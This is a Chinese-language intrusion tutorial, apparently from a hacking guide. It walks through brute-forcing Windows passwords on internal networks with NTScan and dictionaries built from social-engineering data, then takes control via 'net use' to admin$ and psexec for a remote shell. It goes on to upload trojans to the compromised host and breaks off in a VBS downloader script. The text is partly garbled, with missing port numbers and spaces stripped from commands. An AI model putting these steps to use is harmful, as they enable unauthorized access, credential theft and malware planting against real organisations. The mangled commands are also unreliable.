在进行口令扫描前需要做一些准备工作,收集信息越多,越有可能成功获取内网服务器权限。例如掌握一定权限后,通过邮箱帐号等信息,进行社工密码收集,对用户的密码进行规律分析和社工字典生成。
1.确定需要扫描的IP地址或者IP地址段
.收集用户名和密码,常见的是Administrator为用户较多,但在内网中,很多用户都喜欢使用个性化名字进行登录,因此需要收集一些用户名;密码字典的整理尤其重要,可以包含网站使用过的密码,社工库邮件地址或者用户名查询到的密码,公司名称,电话号码,出生日期,手机号码,QQ号码等。
3.编辑密码和口令配置文件
7.使用NTScan扫描口令实例Windows口令扫描攻击主要针对某一个IP地址或者某一个网段进口令扫描,实质是通过、等端口来尝试建立连接,其利用的是Dos命令“netuse\\ipaddress\admin$“password”/u:user”,只不过通过程序来实现而已。下面的案例通过扫描软件NTScan来扫描口令,扫描出口令后成功实施控制的案例。
1.设置NTScan
直接运行NTscan,在NTscan中一般只需要设置开始IP和结束IP两个地方,其它设置均可以采取默认,如图1所示。
图1设置NTscan
说明
①如果是在肉鸡上面精细管理扫描,由于语言版本的不同,如果操作系统不支持中文显示,就有可能显示为乱码,这个时候设置就只能凭熟悉度来进行设置,在本例中是在英文操作系统中使用NTscan,在其运行界面中一些汉字显示为“?”,但是不影响扫描使用,如图所示。
图NTscan乱码显示
②在NTscan中有IPC、SMB和WMI三种扫描方式,第一种和第三种方式扫描口令较为有效,第二种主要用来扫描共享文件。利用IPC$可以与目标主机建立一个空的连接而无需用户名与密码,而且还可以得到目标主机上的用户列表。SMB(服务器信息块)协议是一种IBM协议,用于在计算机间共享文件、打印机、串口等。SMB协议可以用在因特网的TCP/IP协议之上,也可以用在其它网络协议如IPX和NetBEUI之上。
③WMI(Windows管理规范)是一项核心的Windows管理技术,WMI作为一种规范和基础结构,通过它可以访问、配置、管理和监视几乎所有的Windows资源,比如用户可以在远程计算机器上启动一个进程;设定一个在特定日期和时间运行的进程;远程启动计算机;获得本地或远程计算机的已安装程序列表;查询本地或远程计算机的Windows事件日志等等。一般情况下,在本地计算机上执行的WMI操作也可以在远程计算机上执行,只要用户拥有该计算机的管理员权限。如果用户对远程计算机拥有权限并且远程计算机支持远程访问,那么用户就可以连接到该远程计算机并执行拥有相应权限的操作。
.执行扫描
在NTscan运行界面中单击“开始”按钮或者单击左窗口下面的第一按钮(如果显示为乱码),开始扫描,如图3所示。
图3扫描口令
说明
①NTscan扫描口令跟字典有关,其原理就是使用字典中的口令跟实际口令进行对比,如果相同即可建立连接,即破解成功,破解成功后会在下方显示。
②NTscan的字典文件为NT_pass.dic,用户文件为NT_user.dic,可以根据实际情况对字典文件和用户文件内容进行修改。
③NTscan扫描结束后,会在NTscan程序当前目录下生成一个NTscan.txt文件,该文件记录扫描结果,如图4所示。
图4NTscan扫描记录文件
④在NTscan中还有一些辅助功能,例如右键单击后可以执行“cmd”命令,左键单击后可以执行“连接”、“打开远程登陆”以及“映射网络驱动器”等命令,如图5所示。
图5NTscan辅助功能
3.实施控制
在Dos命令提示符下输入“netuse\\1.*.*.*\admin$"mrs"/u:administrator”命令获取主机的管理员权限。命令执行成功,如图6所示。
图6建立连接
4.执行Psexec命令
输入“psexec\\1.*.*.*cmd”命令获取一个DosShell,如图7所示。
图7获取DosShell
说明
①以上两步可以合并,直接在Dos命令提示符下输入“psexec\\ipaddress–uadministrator-ppasswordcmd”。例如在上例中可以输入“psexec\\1.*.*.*-uAdministrator–pmrscmd”命令来获取一个Dos下的Shell。
②在有些情况下使用“psexec\\ipaddress–uadministrator-ppasswordcmd”命令不能正常执行。
5.从远端查看被入侵计算机端口开放情况
使用“sfind–p1.*.*.*”命令查看远程主机端口开放情况,该主机仅仅开放了端口,如图8所示。
图8查看端口开放情况
6.上传文件
在该DosShell下执行文件下载命令,将一些工具软件或者木马软件上传的被攻击计算机上面,如图9所示。
图9上传文件
说明
①可以使用以下vbs脚本命令来上传文件。
echowithwscript:if.arguments.count^then.quit:endifdl.vbe
echosetaso=.createobject("adodb.stream"):setweb=createobject("microsoft.xml